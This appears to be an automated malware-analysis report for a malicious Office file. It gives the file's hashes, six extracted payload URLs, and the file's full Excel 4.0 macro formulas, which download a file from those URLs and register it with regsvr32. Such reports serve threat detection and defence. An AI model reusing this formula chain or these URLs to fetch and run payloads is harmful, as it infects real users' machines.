General
-
Target
e50775eccdf3890681981b38f4515f7d59fe1bee493e37671433199bfb4d7cb2
-
Size
46KB
-
MD5
7535a136f91ce3156e474c86a4dc3e4f
-
SHA1
71194fe498b9fb6b6fad75fc1dc17a50c2b77841
-
SHA256
e50775eccdf3890681981b38f4515f7d59fe1bee493e37671433199bfb4d7cb2
-
SHA512
6f8951a13fb7c2768179f9817aa0ee53759334d3bd3a01be20f68e9845f9fe8a68ed6dcba3be3464232cb3023eef8ed1c5d95a29b23579d69110fc753e022824
-
SSDEEP
768:qeoPDOevZCwrvtQazdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2etZF:5oPDFtT5fTR4Lh1NisFYBc3cr+UqVUJ/
Malware Config
Extracted
https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/
https://pakistannakliye.com/wp-admin/dyfAdRkv7/
https://spinoffyarnshop.com/content/YQlmbLaB/
http://murtjizindustry.com/wp-content/yI6/
http://nazrultheking.com/wp-includes/LZ/
http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pakistannakliye.com/wp-admin/dyfAdRkv7/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://spinoffyarnshop.com/content/YQlmbLaB/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://murtjizindustry.com/wp-content/yI6/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nazrultheking.com/wp-includes/LZ/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
e50775eccdf3890681981b38f4515f7d59fe1bee493e37671433199bfb4d7cb2